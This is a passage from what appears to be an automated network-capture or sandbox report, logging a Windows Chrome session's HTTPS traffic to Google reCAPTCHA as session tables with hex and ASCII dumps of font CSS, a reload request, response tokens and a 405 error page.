HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-24 12:44:37 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-24 12:44:37 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-24 12:44:37 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:44:37 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-24 12:44:37 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-24 12:44:37 UTC	810	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 33 6b 62 64 59 46 41 41 6f 77 45 65 33 6d 5f 58 48 35 7a 6d 54 77 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="3kbdYFAAowEe3m_XH5zmTw" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-24 12:44:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49895	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:37 UTC	863	OUT	POST /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 8108 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:37 UTC	8108	OUT	Data Raw: 0a 18 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 12 8e 0f 30 33 41 46 63 57 65 41 37 56 75 41 73 6d 71 61 69 6b 4a 52 32 55 38 52 6f 4e 75 70 54 33 57 49 45 76 6a 66 79 65 49 59 57 44 56 68 43 34 4e 37 78 53 41 33 2d 64 50 6c 6e 4d 68 6f 38 58 4d 6a 41 58 48 58 7a 6b 4b 47 36 74 37 43 4d 48 75 30 69 6e 47 68 4d 59 62 78 48 53 79 71 70 4e 4d 38 75 49 30 6a 46 46 46 5a 76 46 48 4f 77 6b 34 73 72 38 35 59 35 43 47 38 68 35 4a 53 50 54 61 65 5f 70 6f 71 46 36 73 50 5f 65 55 50 70 49 48 4f 34 72 46 73 62 72 31 50 73 33 31 43 70 52 63 43 75 38 54 58 51 4b 4c 77 34 5f 6e 63 68 34 53 62 51 50 75 32 6d 64 4a 78 4d 41 53 59 41 47 66 34 6c 64 44 31 4a 69 6e 6b 73 51 34 48 65 31 53 59 4f 48 6c 5a 75 44 67 43 37 45 7a 2d 4f 79 71 61 43 74 Data Ascii: QoukH5jSO3sKFzVEA7Vc8VgC03AFcWeA7VuAsmqaikJR2U8RoNupT3WIEvjfyeIYWDVhC4N7xSA3-dPlnMho8XMjAXHXzkKG6t7CMHu0inGhMYbxHSyqpNM8uI0jFFFZvFHOwk4sr85Y5CG8h5JSPTae_poqF6sP_eUPpIHO4rFsbr1Ps31CpRcCu8TXQKLw4_nch4SbQPu2mdJxMASYAGf4ldD1JinksQ4He1SYOHlZuDgC7Ez-OyqaCt
2024-04-24 12:44:38 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Wed, 24 Apr 2024 12:44:38 GMT Expires: Wed, 24 Apr 2024 12:44:38 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0;Path=/recaptcha;Expires=Mon, 21-Oct-2024 12:44:38 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:38 UTC	559	IN	Data Raw: 32 33 37 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 37 49 74 4b 58 7a 6f 5a 31 5a 55 51 46 57 4a 6b 58 4b 6b 74 38 75 52 68 78 76 50 75 47 6a 32 74 6a 37 49 77 54 6a 56 36 64 71 50 43 59 32 33 76 48 69 57 47 75 79 66 51 4d 58 51 4c 5f 43 38 2d 6c 37 45 35 75 6f 44 6e 67 36 38 39 4b 6f 30 6d 4f 4c 67 4c 69 2d 37 46 73 47 44 69 4a 52 37 4a 38 55 6a 54 59 65 6e 4d 73 64 39 6b 69 4e 44 4e 6e 50 65 6a 62 34 69 66 57 4c 47 6e 72 43 52 71 38 65 31 67 75 2d 50 4c 31 30 4f 73 65 4e 51 2d 6f 2d 67 51 4f 2d 54 59 6c 35 79 6c 74 30 48 61 73 44 6e 69 36 73 62 33 41 2d 77 67 73 31 66 53 76 52 6b 49 42 55 37 41 52 53 79 5f 53 57 5a 30 66 6b 32 32 73 6e 69 5a 39 6f 78 2d 77 36 36 49 45 51 44 51 56 77 51 53 48 36 61 4b 73 55 48 73 71 6f 6f Data Ascii: 237)]}'["rresp","03AFcWeA7ItKXzoZ1ZUQFWJkXKkt8uRhxvPuGj2tj7IwTjV6dqPCY23vHiWGuyfQMXQL_C8-l7E5uoDng689Ko0mOLgLi-7FsGDiJR7J8UjTYenMsd9kiNDNnPejb4ifWLGnrCRq8e1gu-PL10OseNQ-o-gQO-TYl5ylt0HasDni6sb3A-wgs1fSvRkIBU7ARSy_SWZ0fk22sniZ9ox-w66IEQDQVwQSH6aKsUHsqoo
2024-04-24 12:44:38 UTC	15	IN	Data Raw: 41 72 48 52 46 4f 50 4d 6f 34 4d 39 4d 0d 0a Data Ascii: ArHRFOPMo4M9M
2024-04-24 12:44:38 UTC	1255	IN	Data Raw: 61 33 32 0d 0a 73 5a 57 4c 39 46 39 4e 77 6a 34 53 64 6b 77 64 73 4b 77 6d 51 38 4a 42 67 50 62 68 78 48 32 6d 39 67 4f 50 47 61 70 41 32 56 68 37 55 68 76 37 30 70 55 7a 42 67 35 4d 45 6e 56 64 76 32 4a 71 57 31 75 6e 5f 34 38 31 5f 73 43 79 67 78 42 63 56 55 37 70 41 63 6a 65 35 43 62 36 4f 67 49 53 4f 54 41 6d 36 76 59 6d 72 44 57 53 4e 6e 51 49 72 45 76 63 77 61 52 41 65 31 32 52 48 44 41 42 48 6e 61 6a 79 57 43 78 79 74 4e 7a 6f 32 71 74 54 67 45 67 7a 46 37 61 38 41 77 54 75 5a 58 32 42 75 45 33 32 65 7a 71 49 34 57 55 52 4b 5a 4d 35 52 41 4c 72 62 30 6f 71 59 65 38 53 6a 67 4e 52 58 6d 57 75 46 2d 74 63 46 45 4f 46 6c 73 71 46 2d 46 53 39 61 49 48 71 49 62 47 49 54 34 63 7a 4d 48 6b 51 75 71 67 5a 56 5a 4c 30 6e 33 79 4c 6e 61 41 5f 41 6f 31 37 61 Data Ascii: a32sZWL9F9Nwj4SdkwdsKwmQ8JBgPbhxH2m9gOPGapA2Vh7Uhv70pUzBg5MEnVdv2JqW1un_481_sCygxBcVU7pAcje5Cb6OgISOTAm6vYmrDWSNnQIrEvcwaRAe12RHDABHnajyWCxytNzo2qtTgEgzF7a8AwTuZX2BuE32ezqI4WURKZM5RALrb0oqYe8SjgNRXmWuF-tcFEOFlsqF-FS9aIHqIbGIT4czMHkQuqgZVZL0n3yLnaA_Ao17a
2024-04-24 12:44:38 UTC	1255	IN	Data Raw: 7a 64 70 50 74 38 36 76 55 57 74 30 41 33 36 59 66 66 63 78 50 79 63 4e 75 77 75 66 39 61 56 36 47 35 73 72 48 4c 53 70 61 54 39 32 73 6b 37 5f 6b 66 52 6e 6f 38 62 42 43 31 65 59 56 75 45 4d 44 6f 68 62 48 53 6a 43 33 35 52 37 70 47 35 55 76 46 67 63 64 74 62 49 54 71 44 72 78 56 69 2d 5a 46 6e 6b 6a 58 36 57 31 6c 75 61 64 53 61 64 39 53 45 48 46 34 65 49 56 35 35 72 6c 71 63 56 46 44 66 36 77 42 44 41 6c 41 47 47 75 72 45 53 33 7a 4f 76 57 72 53 71 78 71 2d 58 4c 4b 51 4a 51 69 54 61 66 6b 7a 68 76 6a 34 38 4d 72 46 50 64 76 64 64 2d 53 48 35 33 41 54 4c 65 4f 65 31 54 59 67 35 77 51 6e 37 4b 42 6e 42 59 75 4d 33 37 46 36 66 65 4e 63 35 78 4e 71 4e 55 64 31 74 6d 48 71 66 4a 46 5f 5a 32 34 37 69 64 78 6b 53 6e 2d 79 39 54 48 31 56 62 35 35 66 4d 7a 78 Data Ascii: zdpPt86vUWt0A36YffcxPycNuwuf9aV6G5srHLSpaT92sk7_kfRno8bBC1eYVuEMDohbHSjC35R7pG5UvFgcdtbITqDrxVi-ZFnkjX6W1luadSad9SEHF4eIV55rlqcVFDf6wBDAlAGGurES3zOvWrSqxq-XLKQJQiTafkzhvj48MrFPdvdd-SH53ATLeOe1TYg5wQn7KBnBYuM37F6feNc5xNqNUd1tmHqfJF_Z247idxkSn-y9TH1Vb55fMzx
2024-04-24 12:44:38 UTC	107	IN	Data Raw: 4b 33 62 35 53 4a 6b 6a 6b 30 6c 61 77 76 63 56 50 67 72 77 39 47 37 49 72 2d 5f 39 6e 48 72 46 47 4c 4e 52 73 73 65 56 6c 70 48 49 73 6f 74 4a 47 6b 50 76 57 65 6f 77 66 63 71 58 52 44 4c 4e 5f 61 59 6b 39 30 4f 51 75 71 57 4c 32 45 2d 72 4a 37 4c 63 34 62 63 54 5a 52 65 55 48 64 71 67 45 6b 6c 76 72 31 6b 6f 34 0d 0a Data Ascii: K3b5SJkjk0lawvcVPgrw9G7Ir-_9nHrFGLNRsseVlpHIsotJGkPvWeowfcqXRDLN_aYk90OQuqWL2E-rJ7Lc4bcTZReUHdqgEklvr1ko4
2024-04-24 12:44:38 UTC	1255	IN	Data Raw: 31 35 35 35 0d 0a 4f 59 6d 56 4f 2d 46 57 35 4c 72 72 77 75 31 78 6a 33 54 67 75 31 38 35 4f 63 4b 66 73 48 49 4f 62 66 34 61 78 5f 43 6d 30 62 75 64 31 45 68 66 6d 33 42 4e 45 56 4c 70 6b 6e 69 4e 77 75 45 42 41 49 4f 6e 2d 51 69 35 76 44 69 75 39 4e 4f 37 57 49 4d 6c 6c 52 41 30 46 77 63 65 6f 63 69 5f 38 70 51 5a 49 66 64 69 44 39 56 59 38 68 39 57 48 78 32 66 35 68 77 62 78 6d 53 52 59 4f 44 68 71 49 7a 73 59 51 5f 59 53 7a 4f 68 4d 44 54 4e 31 49 72 4a 54 4b 4e 77 52 41 63 6b 48 68 4e 6c 55 47 79 53 67 75 75 46 4a 30 47 77 71 79 39 32 76 37 6d 54 76 47 49 73 45 71 41 4f 30 56 69 68 2d 49 7a 49 63 79 64 6d 45 4b 56 32 4e 6b 59 45 6f 68 61 43 4b 66 52 73 57 4b 71 54 2d 66 37 65 59 67 51 53 38 35 63 45 32 44 4a 58 4a 66 4f 46 6f 78 4f 68 4d 51 36 6c 34 Data Ascii: 1555OYmVO-FW5Lrrwu1xj3Tgu185OcKfsHIObf4ax_Cm0bud1Ehfm3BNEVLpkniNwuEBAIOn-Qi5vDiu9NO7WIMllRA0Fwceoci_8pQZIfdiD9VY8h9WHx2f5hwbxmSRYODhqIzsYQ_YSzOhMDTN1IrJTKNwRAckHhNlUGySguuFJ0Gwqy92v7mTvGIsEqAO0Vih-IzIcydmEKV2NkYEohaCKfRsWKqT-f7eYgQS85cE2DJXJfOFoxOhMQ6l4
2024-04-24 12:44:38 UTC	1255	IN	Data Raw: 52 63 70 6a 49 68 33 77 79 5a 76 6f 6c 39 68 6b 74 56 74 7a 4d 47 6d 43 62 4f 35 68 32 47 55 34 47 47 37 52 32 44 43 47 57 4b 55 76 76 69 46 39 5f 7a 4f 4c 7a 72 6f 53 58 55 54 62 39 59 5a 48 5a 45 54 4a 41 43 38 4b 6f 6c 78 75 2d 77 71 6b 57 68 6e 4f 34 69 51 7a 31 38 67 6a 75 6d 42 30 58 6f 6d 6c 6e 2d 68 4b 4e 43 42 73 4e 44 6c 68 4a 67 72 57 56 44 79 75 64 32 41 69 64 73 30 39 79 65 37 48 6b 75 39 59 39 49 4c 2d 34 45 30 6e 37 32 72 5f 43 39 4a 58 38 75 32 68 63 73 75 53 6f 56 47 6a 75 73 76 52 6f 64 77 6b 5f 67 2d 61 72 56 64 79 35 46 78 5a 6f 33 33 53 56 61 79 79 42 66 78 67 4d 68 45 76 31 5f 6a 36 43 52 5f 43 32 52 4f 57 59 6d 62 56 2d 36 35 38 70 6d 47 48 67 79 33 38 47 4e 56 76 45 75 52 67 63 61 4c 50 37 75 70 47 4f 30 4c 7a 30 46 6d 47 30 66 43 Data Ascii: RcpjIh3wyZvol9hktVtzMGmCbO5h2GU4GG7R2DCGWKUvviF9_zOLzroSXUTb9YZHZETJAC8Kolxu-wqkWhnO4iQz18gjumB0Xomln-hKNCBsNDlhJgrWVDyud2Aids09ye7Hku9Y9IL-4E0n72r_C9JX8u2hcsuSoVGjusvRodwk_g-arVdy5FxZo33SVayyBfxgMhEv1_j6CR_C2ROWYmbV-658pmGHgy38GNVvEuRgcaLP7upGO0Lz0FmG0fC
2024-04-24 12:44:38 UTC	1255	IN	Data Raw: 22 5d 2c 6e 75 6c 6c 2c 5b 31 2c 33 30 30 30 5d 5d 2c 22 64 79 6e 61 6d 69 63 22 2c 6e 75 6c 6c 2c 5b 22 62 67 64 61 74 61 22 2c 22 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 32 53 6b 73 33 55 47 74 6f 55 56 42 71 5a 30 64 6c 51 6c 70 78 65 55 68 4c 51 31 4e 58 64 55 70 4c 52 44 56 61 53 6d 31 47 58 32 74 36 62 56 41 35 55 57 78 57 4d 55 52 5a 4c 6d 70 7a 22 2c 22 22 2c 22 53 6e 64 4a 55 32 46 6b 61 6e 49 7a 5a 48 64 42 51 58 6c 61 65 6d 46 72 56 46 4e 6e 61 6e 6c 47 64 56 5a 76 59 30 64 4a 59 30 6c 7a 59 6e 63 78 4d 6c 46 31 64 7a 4e 52 62 32 70 55 5a 48 6c 72 64 57 78 72 53 54 4a 73 54 45 59 7a 5a 46 41 78 53 7a 6c 53 63 54 42 31 61 55 70 55 4d 6e 68 43 4e 58 4e 54 5a 7a 6c 52 59 6d 35 68 65 57 78 43 52 Data Ascii: "],null,[1,3000]],"dynamic",null,["bgdata","Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy82Sks3UGtoUVBqZ0dlQlpxeUhLQ1NXdUpLRDVaSm1GX2t6bVA5UWxWMURZLmpz","","SndJU2FkanIzZHdBQXlaemFrVFNnanlGdVZvY0dJY0lzYncxMlF1dzNRb2pUZHlrdWxrSTJsTEYzZFAxSzlScTB1aUpUMnhCNXNTZzlRYm5heWxCR
2024-04-24 12:44:38 UTC	1255	IN	Data Raw: 6b 6c 71 57 48 70 4c 57 6d 4e 30 61 32 5a 50 5a 6a 4e 31 61 6c 45 72 54 55 35 79 54 55 52 57 5a 47 70 46 63 57 6c 5a 62 30 68 42 63 6c 70 77 4e 30 31 70 59 58 6b 34 53 6d 56 5a 4c 32 74 53 4e 57 68 71 65 6b 31 36 4e 79 74 72 53 6a 5a 7a 52 55 51 33 5a 6d 74 72 4d 46 5a 4a 4b 30 74 6e 54 57 6c 4f 62 6c 70 55 5a 33 4a 36 4d 7a 49 76 52 6b 52 34 56 58 42 4a 61 45 5a 74 5a 44 45 35 4f 46 41 34 55 47 35 6a 64 6d 56 4f 64 6d 78 30 4d 32 6f 30 4e 57 49 79 53 30 4a 76 56 6b 74 58 64 55 31 51 4d 32 31 32 62 79 39 75 4e 48 52 49 56 48 59 77 54 57 6c 35 4b 30 31 6a 51 6a 46 6e 54 6e 52 6d 63 46 42 55 54 45 6f 30 52 58 6f 30 5a 6e 64 78 55 54 52 58 56 46 5a 30 61 56 6c 56 54 6d 35 44 57 6c 6c 47 54 55 5a 36 4e 56 5a 53 54 48 52 6b 65 57 4a 42 55 44 52 52 57 45 49 78 Data Ascii: klqWHpLWmN0a2ZPZjN1alErTU5yTURWZGpFcWlZb0hBclpwN01pYXk4SmVZL2tSNWhqek16NytrSjZzRUQ3ZmtrMFZJK0tnTWlOblpUZ3J6MzIvRkR4VXBJaEZtZDE5OFA4UG5jdmVOdmx0M2o0NWIyS0JvVktXdU1QM212by9uNHRIVHYwTWl5K01jQjFnTnRmcFBUTEo0RXo0ZndxUTRXVFZ0aVlVTm5DWllGTUZ6NVZSTHRkeWJBUDRRWEIx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49901	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:39 UTC	610	OUT	GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
2024-04-24 12:44:39 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Wed, 24 Apr 2024 12:44:39 GMT Expires: Wed, 24 Apr 2024 12:44:39 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:39 UTC	244	IN	Data Raw: 65 65 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 21 2d 2d 20 47 53 45 20 44 65 66 61 75 6c 74 20 45 72 72 6f 72 20 2d 2d 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: ee<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">... GSE Default Error --><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-04-24 12:44:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49902	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
